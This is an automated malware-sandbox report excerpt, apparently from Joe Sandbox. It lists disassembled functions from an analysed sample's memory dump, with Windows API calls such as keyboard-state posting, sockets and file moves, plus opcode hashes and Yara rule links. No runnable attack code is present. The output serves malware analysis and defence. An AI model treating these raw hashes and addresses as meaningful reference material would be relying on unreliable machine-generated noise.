Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: MessagePost$KeyboardState$Parent
String ID:
API String ID: 87235514-0
Opcode ID: 77a893accb3afe3cedfc6f45b2dda83ca2f377d79413ce0412ce63e117b40d6a
Instruction ID: c5fee2de9eaa67df906aa73e80b77f5bf34995608042a99289f03c62a58b5f32
Opcode Fuzzy Hash: 77a893accb3afe3cedfc6f45b2dda83ca2f377d79413ce0412ce63e117b40d6a
Instruction Fuzzy Hash: 5851F4A0A253D23DFB374A348C45BFA7EE95B16304F088489F1D9458C2C3E9ACE9D761

Function 0021ACDA Relevance: 10.7, APIs: 7, Instructions: 161windowCOMMON

Download Yara Rule

APIs

GetParent.USER32(00000000), ref: 0021AD19
GetKeyboardState.USER32(?), ref: 0021AD2E
SetKeyboardState.USER32(?), ref: 0021AD8F
PostMessageW.USER32(00000000,00000100,00000010,?), ref: 0021ADBB
PostMessageW.USER32(00000000,00000100,00000011,?), ref: 0021ADD8
PostMessageW.USER32(00000000,00000100,00000012,?), ref: 0021AE17
PostMessageW.USER32(00000000,00000100,0000005B,?), ref: 0021AE38

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: MessagePost$KeyboardState$Parent
String ID:
API String ID: 87235514-0
Opcode ID: d3341ae80fe7e434212e4f7b8b64fa017e3bbf2705b22c21af476875d197693f
Instruction ID: c121a3ecb978ab7890174a54ba61201d4d5d9f52f936bf5f04949b555d997510
Opcode Fuzzy Hash: d3341ae80fe7e434212e4f7b8b64fa017e3bbf2705b22c21af476875d197693f
Instruction Fuzzy Hash: 7E5106A09267D23DFB378B348C45BFA7EE85B56300F088498E0D5468C3C2A4ECE8D752

Function 001E542E Relevance: 10.7, APIs: 7, Instructions: 152fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleCP.KERNEL32(001F3CD6,?,?,?,?,?,?,?,?,001E5BA3,?,?,001F3CD6,?,?), ref: 001E5470
__fassign.LIBCMT ref: 001E54EB
__fassign.LIBCMT ref: 001E5506
WideCharToMultiByte.KERNEL32(?,00000000,?,00000001,001F3CD6,00000005,00000000,00000000), ref: 001E552C
WriteFile.KERNEL32(?,001F3CD6,00000000,001E5BA3,00000000,?,?,?,?,?,?,?,?,?,001E5BA3,?), ref: 001E554B
WriteFile.KERNEL32(?,?,00000001,001E5BA3,00000000,?,?,?,?,?,?,?,?,?,001E5BA3,?), ref: 001E5584

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: FileWrite__fassign$ByteCharConsoleMultiWide
String ID:
API String ID: 1324828854-0
Opcode ID: 5ebe59035bd0e13fde34c94c1772a96f1cd996de14c1c05e99c4e51da360a737
Instruction ID: b9f597a8a2250c69942ebaa4b2f90ec501a55f59214b8a0505d7a383a1d833e6
Opcode Fuzzy Hash: 5ebe59035bd0e13fde34c94c1772a96f1cd996de14c1c05e99c4e51da360a737
Instruction Fuzzy Hash: 52512A70A00A489FDB14CFA9DC85AEEBBF6EF09304F24415AF555E7291D730DA40CB60

Function 001D2D20 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 117COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 001D2D4B
___except_validate_context_record.LIBVCRUNTIME ref: 001D2D53
_ValidateLocalCookies.LIBCMT ref: 001D2DE1
__IsNonwritableInCurrentImage.LIBCMT ref: 001D2E0C
_ValidateLocalCookies.LIBCMT ref: 001D2E61

Strings

csm, xrefs: 001D2DF6

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 357838e37b920316add8f55f783d66e9e44a5c0e1c687314012fa769721fe00f
Instruction ID: 4175e75fcc9922be34f4cff29ebeb81fc63b74666a99f5804897117cf304dccb
Opcode Fuzzy Hash: 357838e37b920316add8f55f783d66e9e44a5c0e1c687314012fa769721fe00f
Instruction Fuzzy Hash: 6E41B434E00209EBCF14DFA8CC85A9EBBB5BF65324F148156E9246B392D731AE15CBD1

Function 002310B8 Relevance: 10.6, APIs: 7, Instructions: 110networkCOMMON

Download Yara Rule

APIs

Part of subcall function 0023304E: inet_addr.WSOCK32(?,?,?,?,?,00000000), ref: 0023307A
Part of subcall function 0023304E: _wcslen.LIBCMT ref: 0023309B

socket.WSOCK32(00000002,00000001,00000006,?,?,00000000), ref: 00231112
WSAGetLastError.WSOCK32 ref: 00231121
WSAGetLastError.WSOCK32 ref: 002311C9
closesocket.WSOCK32(00000000), ref: 002311F9

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: ErrorLast$_wcslenclosesocketinet_addrsocket
String ID:
API String ID: 2675159561-0
Opcode ID: 1cc13b5557f0c85c5f63c19f3aeed9332807180ffd01cba96346b07edf9cdecc
Instruction ID: 5c7c94172720abcae1ad0857d26cc6a35dae92ad05a5af70f2eca31912b94ca0
Opcode Fuzzy Hash: 1cc13b5557f0c85c5f63c19f3aeed9332807180ffd01cba96346b07edf9cdecc
Instruction Fuzzy Hash: 854112B5210204AFDB109F18D888BEABBE9EF45324F148059FD499B291C7B0EE51CBE0

Function 0021CF00 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 108filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0021DDE0: GetFullPathNameW.KERNEL32(00000000,00007FFF,?,?,?,?,?,?,0021CF22,?), ref: 0021DDFD

Part of subcall function 0021DDE0: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,?,0021CF22,?), ref: 0021DE16

lstrcmpiW.KERNEL32(?,?), ref: 0021CF45
MoveFileW.KERNEL32(?,?), ref: 0021CF7F
_wcslen.LIBCMT ref: 0021D005
_wcslen.LIBCMT ref: 0021D01B
SHFileOperationW.SHELL32(?), ref: 0021D061

Strings

\*.*, xrefs: 0021CFF3

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: FileFullNamePath_wcslen$MoveOperationlstrcmpi
String ID: \*.*
API String ID: 3164238972-1173974218
Opcode ID: b3766fdf03ddd3766a77de372c44eacdb40fdb27e923f81ee3deed1bce275aa5
Instruction ID: 232433c414e50c1468727b772a90ddb9880f271b6d0c91eaf416bd5cb1750fdd
Opcode Fuzzy Hash: b3766fdf03ddd3766a77de372c44eacdb40fdb27e923f81ee3deed1bce275aa5
Instruction Fuzzy Hash: 0F4185758552199FDF12EFA4D981ADEB7F9AF28340F1000E6E509EB141EB30AA99CF50

Function 00242DFD Relevance: 10.6, APIs: 7, Instructions: 99windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,000000F0,00000000,00000000), ref: 00242E1C
GetWindowLongW.USER32(?,000000F0), ref: 00242E4F
GetWindowLongW.USER32(?,000000F0), ref: 00242E84
SendMessageW.USER32(?,000000F1,00000000,00000000), ref: 00242EB6
SendMessageW.USER32(?,000000F1,00000001,00000000), ref: 00242EE0
GetWindowLongW.USER32(?,000000F0), ref: 00242EF1
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00242F0B

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: LongWindow$MessageSend
String ID:
API String ID: 2178440468-0
Opcode ID: 5745d7d350c7006e518c18633514b37757935d0406da46634a7759bc707d361c
Instruction ID: 5a3ae2e88059d8c80ae7368d5313120fdea95d00ce96daee21aadefd7b0d9182
Opcode Fuzzy Hash: 5745d7d350c7006e518c18633514b37757935d0406da46634a7759bc707d361c
Instruction Fuzzy Hash: 29313438716151DFDB298F19EC88F6537E8EB8AB10F950064F9149B2B2CB71B869DB00

Function 00217726 Relevance: 10.6, APIs: 7, Instructions: 94memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00217769
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 0021778F
SysAllocString.OLEAUT32(00000000), ref: 00217792
SysAllocString.OLEAUT32(?), ref: 002177B0
SysFreeString.OLEAUT32(?), ref: 002177B9
StringFromGUID2.OLE32(?,?,00000028), ref: 002177DE
SysAllocString.OLEAUT32(?), ref: 002177EC

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: String$Alloc$ByteCharMultiWide$FreeFrom
String ID:
API String ID: 3761583154-0
Opcode ID: e0f84aa168b714645383cfe6fcf379801020cb61f384238865c9bc8be9b4427d
Instruction ID: edfac4d4feba534ca1146d3510529d99cdd6448986e78e4c6be8f0b17e22e51d
Opcode Fuzzy Hash: e0f84aa168b714645383cfe6fcf379801020cb61f384238865c9bc8be9b4427d
Instruction Fuzzy Hash: 0D21E23A61420AAFDB00EFACDC88CFBB3ECEB59760B108025F915CB190D670DC828760

Function 002177FD Relevance: 10.6, APIs: 7, Instructions: 89memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00217842
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00217868
SysAllocString.OLEAUT32(00000000), ref: 0021786B
SysAllocString.OLEAUT32 ref: 0021788C
SysFreeString.OLEAUT32 ref: 00217895
StringFromGUID2.OLE32(?,?,00000028), ref: 002178AF
SysAllocString.OLEAUT32(?), ref: 002178BD

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: String$Alloc$ByteCharMultiWide$FreeFrom
String ID:
API String ID: 3761583154-0
Opcode ID: 64373589e885e60576b389e2ca3bd8dcbde63918007ad8f02d4495207aa9df98
Instruction ID: a14924b740362468d2c340f3977d796eb7c6610bfdb67ebb8a879337757837b0
Opcode Fuzzy Hash: 64373589e885e60576b389e2ca3bd8dcbde63918007ad8f02d4495207aa9df98
Instruction Fuzzy Hash: 1C21DE35619209AF9B10AFA8DC8CDEA73FCEB597207218025B904CB2A1D670DC81DB74

Function 002204D2 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 80pipeCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(0000000C), ref: 002204F2
CreatePipe.KERNEL32(?,?,0000000C,00000000), ref: 0022052E

Strings

nul, xrefs: 00220567

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: CreateHandlePipe
String ID: nul
API String ID: 1424370930-2873401336
Opcode ID: d59ec798a991ac41f0d407591383ad02d4a4df3ea86f69793be7f939577d6d0d
Instruction ID: bf1be9295e906926bc4e6a262f56d078998c8b848f71db2b91c7c3f467b4e7e7
Opcode Fuzzy Hash: d59ec798a991ac41f0d407591383ad02d4a4df3ea86f69793be7f939577d6d0d
Instruction Fuzzy Hash: C221A574510316BBCB209FA9EC84A9977F4BF45720F604A18F8A1D61E1D7B09970CF60

Function 002205A7 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 80pipeCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F6), ref: 002205C6
CreatePipe.KERNEL32(?,?,0000000C,00000000), ref: 00220601

Strings

nul, xrefs: 00220639

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: CreateHandlePipe
String ID: nul
API String ID: 1424370930-2873401336
Opcode ID: 1df0a5601f20abcf592c033f28e5bb27179f416b907344421ff7c0c3669f72e2
Instruction ID: 1b7d4830f0f277617f1313a4cb7e9e9de68af20fab8ab10d496b3d7cb5f48ed8
Opcode Fuzzy Hash: 1df0a5601f20abcf592c033f28e5bb27179f416b907344421ff7c0c3669f72e2
Instruction Fuzzy Hash: 41216F75510316BFDB209FA9EC84AA577E8BF55720F200619FCA1D71E5D7B09970CB10

Function 002440AD Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75windowCOMMON

Download Yara Rule

APIs

Part of subcall function 001B600E: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 001B604C
Part of subcall function 001B600E: GetStockObject.GDI32(00000011), ref: 001B6060
Part of subcall function 001B600E: SendMessageW.USER32(00000000,00000030,00000000), ref: 001B606A

SendMessageW.USER32(00000000,00002001,00000000,FF000000), ref: 00244112
SendMessageW.USER32(?,00000409,00000000,FF000000), ref: 0024411F
SendMessageW.USER32(?,00000402,00000000,00000000), ref: 0024412A
SendMessageW.USER32(?,00000401,00000000,00640000), ref: 00244139
SendMessageW.USER32(?,00000404,00000001,00000000), ref: 00244145

Strings

Msctls_Progress32, xrefs: 002440E3

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: MessageSend$CreateObjectStockWindow
String ID: Msctls_Progress32
API String ID: 1025951953-3636473452
Opcode ID: c1f3ea80f36392c0f4573e39babca0699711a6cd6e670c271ad77f0dca99d245
Instruction ID: 238781490b7a00a764b94a63951ea47062a41db4e3bdc219d0846a23c3ceface
Opcode Fuzzy Hash: c1f3ea80f36392c0f4573e39babca0699711a6cd6e670c271ad77f0dca99d245
Instruction Fuzzy Hash: B71190B215021ABEEF119E64CC86EE77F5DEF19798F014111BA18A6090C7729C219BA4

Function 001ED7DF Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 001ED7A3: _free.LIBCMT ref: 001ED7CC

_free.LIBCMT ref: 001ED82D

Part of subcall function 001E29C8: RtlFreeHeap.NTDLL(00000000,00000000,?,001ED7D1,00000000,00000000,00000000,00000000,?,001ED7F8,00000000,00000007,00000000,?,001EDBF5,00000000), ref: 001E29DE
Part of subcall function 001E29C8: GetLastError.KERNEL32(00000000,?,001ED7D1,00000000,00000000,00000000,00000000,?,001ED7F8,00000000,00000007,00000000,?,001EDBF5,00000000,00000000), ref: 001E29F0

_free.LIBCMT ref: 001ED838
_free.LIBCMT ref: 001ED843
_free.LIBCMT ref: 001ED897
_free.LIBCMT ref: 001ED8A2
_free.LIBCMT ref: 001ED8AD
_free.LIBCMT ref: 001ED8B8

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: d5e9bbcb1dbdafe4c8d3bd98f36014f41f46dc5d4a3df644b036f3c2391e0fc8
Instruction ID: 8ed27231ec7e722a7d8479e1cad3e185b7473500f94eba374ce8d7ecf1046ff6
Opcode Fuzzy Hash: d5e9bbcb1dbdafe4c8d3bd98f36014f41f46dc5d4a3df644b036f3c2391e0fc8
Instruction Fuzzy Hash: 32113A71940F98AAD621BFF2DC47FCF7BDCAF20704F400825F699A6092DB79B5058662

Function 0021DA5A Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,00000100,00000000), ref: 0021DA74
LoadStringW.USER32(00000000), ref: 0021DA7B
GetModuleHandleW.KERNEL32(00000000,00001389,?,00000100), ref: 0021DA91
LoadStringW.USER32(00000000), ref: 0021DA98
MessageBoxW.USER32(00000000,?,?,00011010), ref: 0021DADC

Strings

%s (%d) : ==> %s: %s %s, xrefs: 0021DAB9

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: HandleLoadModuleString$Message
String ID: %s (%d) : ==> %s: %s %s
API String ID: 4072794657-3128320259
Opcode ID: f13486d62b20d3058802a162c67ee09b5e9c1209636c457bf4a0295ea720dfa5
Instruction ID: 04add701728d99dc717a2f4745a73d20eddac346c2162ca584bdf3b348da78ce
Opcode Fuzzy Hash: f13486d62b20d3058802a162c67ee09b5e9c1209636c457bf4a0295ea720dfa5
Instruction Fuzzy Hash: B60186F6910208BFE751DBA8ED8DEE773ACEB09305F504492B74AE2041EA749E844F74

Function 0022096B Relevance: 10.5, APIs: 7, Instructions: 35synchronizationthreadCOMMON

Download Yara Rule

APIs

InterlockedExchange.KERNEL32(0139DE08,0139DE08), ref: 0022097B
EnterCriticalSection.KERNEL32(0139DDE8,00000000), ref: 0022098D
TerminateThread.KERNEL32(?,000001F6), ref: 0022099B
WaitForSingleObject.KERNEL32(?,000003E8), ref: 002209A9
CloseHandle.KERNEL32(?), ref: 002209B8
InterlockedExchange.KERNEL32(0139DE08,000001F6), ref: 002209C8
LeaveCriticalSection.KERNEL32(0139DDE8), ref: 002209CF

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: CriticalExchangeInterlockedSection$CloseEnterHandleLeaveObjectSingleTerminateThreadWait
String ID:
API String ID: 3495660284-0
Opcode ID: 6ef8562eb0f62e52231b299a1c43ced6be3003c2a3562e1f011dde1366904f50
Instruction ID: f18ab515642c7f39472a7638cae8301935ad8a4fd8ddeb35ee5c57b18d049d09
Opcode Fuzzy Hash: 6ef8562eb0f62e52231b299a1c43ced6be3003c2a3562e1f011dde1366904f50
Instruction Fuzzy Hash: A9F0CD35543912BBD7916F98FE8DAD67A25BF06B02F501025F502508A1C7B5A475CF90

Function 001B5D0A Relevance: 9.3, APIs: 6, Instructions: 276COMMON

Download Yara Rule

APIs

GetClientRect.USER32(?,?), ref: 001B5D30
GetWindowRect.USER32(?,?), ref: 001B5D71
ScreenToClient.USER32(?,?), ref: 001B5D99
GetClientRect.USER32(?,?), ref: 001B5ED7
GetWindowRect.USER32(?,?), ref: 001B5EF8

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: Rect$Client$Window$Screen
String ID:
API String ID: 1296646539-0
Opcode ID: 0bbdd65f2a0d86624e8cded45422cfc37afbcabacd9d72f92920520b8f64d30d
Instruction ID: fb6d6125648dcae5552f86f314635f4aa7ebffe2da73a399a8c538b850c24bba
Opcode Fuzzy Hash: 0bbdd65f2a0d86624e8cded45422cfc37afbcabacd9d72f92920520b8f64d30d
Instruction Fuzzy Hash: B5B16838A00A4ADBDB14CFA9C4847FAB7F2FF48310F14851AE9A9D7250DB34EA51DB54

Function 001E01B7 Relevance: 9.3, APIs: 6, Instructions: 269COMMON

Download Yara Rule

APIs

__allrem.LIBCMT ref: 001E00BA
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 001E00D6
__allrem.LIBCMT ref: 001E00ED
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 001E010B
__allrem.LIBCMT ref: 001E0122
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 001E0140

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
